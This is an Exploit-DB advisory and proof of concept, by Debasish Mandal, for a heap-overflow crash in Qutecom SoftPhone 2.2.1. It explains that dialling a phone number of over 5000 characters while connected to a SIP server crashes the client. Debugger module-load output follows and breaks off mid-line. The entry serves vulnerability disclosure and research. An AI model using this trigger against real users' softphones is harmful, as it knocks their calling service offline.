Exploit-DB #19328
Description: Qutecom SoftPhone 2.2.1 - Heap Overflow Crash (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2012-06-22
Author: Debasish Mandal

Exploit:
# Title: Qutecom (Cross-platform, open source softphone) Heap Overflow DoS/Crash Proof of Concept
# Date: 14th June 2012
# Exploit Author: Debasish Mandal
# Author's Blog : http://www.debasish.in/
# Vendor Homepage: http://qutecom.org/
# Software Link: http://trac.qutecom.org/downloads/QuteCom-2.2.1-setup-release.exe
# Version: Version 2.2.1.
# Tested on: Microsoft Windows XP Professional SP2 EN (32bit)

=======
Title =
=======

Qutecom Version 2.2.1 Heap Overflow DoS/Crash Proof of Concept

==========
Summary: =
==========

QuteCom (previously called WengoPhone) is a free software SIP compliant VoIP client developed by the QuteCom (previously OpenWengo) community under the GNU General Public License (GPL). It allows users to speak to other users of SIP compliant VoIP software at no cost.

(Source :http://en.wikipedia.org/wiki/QuteCom)

This bug in Qutecom v2.2.1 is caused due to a boundary error in the processing of too long phone number.This heap buffer overflow bug can be triggered by dialing a more than 5000 character phone number or character set form the soft phone.
To trigger this bug the application must be connected to a VOIP/SIP server.An Asterisk-based PBX Phone System "TrixBox" was used to test this Crash.

============
Tested on: =
============

Tested with latest stable release http://trac.qutecom.org/downloads/QuteCom-2.2.1-setup-release.exe on Microsoft Windows XP Professional SP2 EN (32bit)
An Asterisk-based PBX Phone System "TrixBox" was used as SIP server.

=============================================================
WinDBG Output After Feeding 5000 'A's into the application: =
=============================================================

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: c:\symbols\private;srv*c:\symbols\web*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\QuteCom.exe
ModLoad: 7c900000 7c9b0000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f4000   C:\WINDOWS\system32\kernel32.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\owutil.dll
ModLoad: 77e70000 77f01000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 7c9c0000 7d1d4000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f10000 77f56000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77d40000 77dd0000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 7c420000 7c4a7000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86\MSVCP80.dll
ModLoad: 78130000 781cb000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86\MSVCR80.dll
ModLoad: 00[PII_REDACTED]d000   C:\Program Files\QuteCom\boost_thread-vc80-mt-1_34_1.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\webcam.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 774e0000 7761c000   C:\WINDOWS\system32\ole32.dll
ModLoad: 77120000 771ac000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 00[PII_REDACTED]f000   C:\Program Files\QuteCom\boost_signals-vc80-mt-1_34_1.dll
ModLoad: 01120000 014a4000   C:\Program Files\QuteCom\avcodec-51.dll
ModLoad: 002b0000 002bb000   C:\Program Files\QuteCom\avutil-49.dll
ModLoad: 002c0000 002d0000   C:\Program Files\QuteCom\owsl.dll
ModLoad: 002e0000 002e7000   C:\Program Files\QuteCom\owbase.dll
ModLoad: 00[PII_REDACTED]b000   C:\Program Files\QuteCom\pthread.dll
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\curl.dll
ModLoad: 014b0000 0157c000   C:\Program Files\QuteCom\LIBEAY32.dll
ModLoad: 71ad0000 71ad9000   C:\WINDOWS\system32\WSOCK32.dll
ModLoad: 7c360000 7c3b6000   C:\Program Files\QuteCom\MSVCR71.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\SSLEAY32.dll
ModLoad: 76d60000 76d79000   C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 67000000 671e1000   C:\Program Files\QuteCom\QtCore4.dll
ModLoad: 65[PII_REDACTED]d000   C:\Program Files\QuteCom\QtGui4.dll
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d127000   C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.dll
ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 64000000 640da000   C:\Program Files\QuteCom\QtNetwork4.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\QtXml4.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\QtSvg4.dll
ModLoad: 01580000 01e49000   C:\Program Files\QuteCom\QtWebKit4.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 01e50000 01e8f000   C:\Program Files\QuteCom\phonon4.dll
ModLoad: 01e90000 01e98000   C:\Program Files\QuteCom\psiidle.dll
ModLoad: 771b0[PII_REDACTED]0   C:\WINDOWS\system32\WININET.dll
ModLoad: 77a80000 77b14000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 77260000 772fc000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 01eb0000 01ec0000   C:\Program Files\QuteCom\portaudio.dll
ModLoad: 01ed0000 01f07000   C:\Program Files\QuteCom\boost_serialization-vc80-mt-1_34_1.dll
ModLoad: 01f20000 01f5c000   C:\Program Files\QuteCom\boost_program_options-vc80-mt-1_34_1.dll
ModLoad: 01f70[PII_REDACTED]0   C:\Program Files\QuteCom\glib.dll
ModLoad: 02[PII_REDACTED]b000   C:\Program Files\QuteCom\intl.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\iconv.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\gthread.dll
ModLoad: [PII_REDACTED]   C:\Program Files\QuteCom\libpurple.dll
ModLoad: 02290000 022be000   C:\Program Files\QuteCom\gobject.dll
ModLoad: 66780000 66ad5